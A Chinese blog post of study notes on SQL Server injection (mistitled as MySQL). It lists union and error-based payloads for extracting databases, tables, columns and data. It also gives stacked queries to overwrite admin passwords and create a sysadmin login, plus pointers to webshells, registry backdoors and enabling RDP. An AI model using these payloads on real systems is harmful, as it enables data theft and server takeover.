Mysql注入1笔记

发布时间 2023-12-16 18:32:08作者: 4A16

Sqlsever常规操作

  1. access数据库大于100m可能就会运行缓慢,为了应对中小型企业的使用,微软推出

    了sqlserver数据库,用来应对一些大型的数据量。

  2. sqlserver常用于:
    1. 教育网站
    2. 政府网站
    3. 棋牌网站
    4. 游戏网站

一个企业站一个服务器,有可能是sqlsever

一个服务器多个企业站,基本上是access

  1. 监听端口:1433

管理员账号:sa,允许外部连接,可以密码爆破

数据库文件后缀:.mdf .ldf 下载数据库时两者需要同时下载

  1. 数据库使用

这四个系统数据库是由dbid号划分的,用户再创建数据库dbid号从5开始

 

Sqlsever版本向下兼容,如08可以访问05的数据

  1. 数据库删除

删除数据库先分离,然后进数据库目录删除

  1. 数据库权限
    1. sa权限:数据库操作,文件管理,命令执行,注册表读取等 =system
    2. dbo权限:文件管理,数据库操作等 =users-administrators
    3. public:数据库操作 =guest-users
  2. 调用数据库代码

在源码中会有明文显示

  1. 数据库账号信息常见的位置:
    1. conn.asp/aspx
    2. config
    3. dbconn
    4. web.config

如果查看源代码发现不是sa账号,但不一定没有sa权限,进一步测试再下结论

有时sa账号也会存在被降权的处理

 

Sqlsever注入利用

  1. 判断注入的语句
    1. And 1=1 and1=2
    2. ' "
    3. / -0
  2. 初步判断是否是mysql

    And user > 0

  1. 判断数据库系统

    and (select count(*) from sysobjects)>0 判断是否为mysql

    and (select count(*) from msysobjects)>0 判断是否为access

 

下面是布尔盲注的语句,全靠猜,一般用工具跑

Sqlsever常见的注入类型

  1. Bool盲注
  2. Union
    1. union select null,null,null
    2. 替换字符列进行查询数据
      1. 查询数据库:

    ?id=1 union select null,(select name from

    master.dbo.sysdatabases where dbid=1),null

    1. 查询表名:

    id=1 union select null,(select top 1 name from (select top 1

    name from sysobjects where xtype=0x75 order by name) t

    order by name desc),null

    改变top后的数字来改变查询的第几个表

    1. 查询列名:

    ?id=1 union select null,(select col_name(object_id('表

    名'),1)),null

    改变表名后的数字来改变查询的第几个列

     

注意:access使用select from后面要指定表名,但mssql和mysql可以不指定

因为用数字在非数字列数据类型不匹配会报错,不像access会

直接爆出来,所以要用null,再用数字替换确定是不是数字列,或

用'null'判断是不是字符列,页面回显正常就是字符列,报错就是数字列。

  1. Error:
    1. 查询数据库版本

?id=1 and 1=(select@@version)

通过报错把想要获取的信息显示出来。

由于输入id=1是数字类型,后面的语句与数字型不匹配,强制转换会导致报错,从而把查询的信息跟报错信息一起显示出来,也可以?id=@@version

  1. 查询数据库名

?id=1 and1 (select db_name())

?id=db_name()

  1. 查询表名
    1. 获取第一张表名:

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

  1. 获取第二张表名?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> '前一张表名')
    1. 以此类推,除去查过的表继续查询在后面加and name <> '表名'即可
  2. 可以以xml格式输出所有表

and 1=(select name from sysobjects where xtype='u' for xml path)

这种可能会被waf拦截

  1. 查询列名
    1. ?id=1 and 1=(select top 1 name from syscolumns where id

      =(select id from sysobjects where name = '表名'))

    2. 同样用and name <> '列名'来依次来爆其他列名
    3. 也可使用xml输出

      ?id=1 and 1=(select top 1 name from syscolumns where id

      =(select id from sysobjects where name = '表名') for xml path)

  2. 查询数据

?id=1 and 1=(select top 1 列名 from 表名)

 

  1. 多语句
  2. 时间盲注

Sqlsever不同权限利用

判断权限语句

and 1=(select is_srvrolemember('sysadmin')) :判断是否为sa(系统管理员)权限

and 1=(select is_srvrolemember('db_owner')):判断是否为dbo(库)权限

and 1=(select is_srvrolemember('public')) :判断是否为public权限

页面返回正常说明是你正在测的权限

*Sa权限的利用

  1. 注入用户密码(三种权限都可以)
  2. 修改网站管理员密码:

应用于管理员密码md5值解不出来

先备份原md5值

?id=1 ;update admin set pass='要设置的密码的md5' where

admin='管理员用户名'(这里是多语句查询注入)

  1. 直接getshell

  1. 调用系统命令
    1. 创建系统管理员

注意:08创建用户时限制密码不能用弱口令

 

  1. 操控文件
  2. 操控日志文件

  1. getshell

08:

Echo写入一句话到网站根目录,注意一句话要用^引用

 

  1. 创建sqlserver管理:

exec master.dbo.sp_addlogin test,password:创建一个test账号

exec master.dbo.sp_addsrvrolemember test,sysadmin:将test账号添加到

sysadmin中,拥有sa权限

  1. 系统服务操作,停止或启动服务:

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

  1. 注册表操作
    1. 创建后门

  1. 开启3389

 

启用3389之后新建任务调用cmd,可以进行无文件攻击,建立反弹会话

运行Explorer.exe可直接进入系统

Dbowner权限利用

Getshell

可以利用工具

Sqlsever工具使用

Sqlmap:

Sqlmap -u url --current -db 列出当前数据库

Sqlmap -u url --current -user 查看当前用户

Sqlmap -u url --is -dba 判断是否为管理员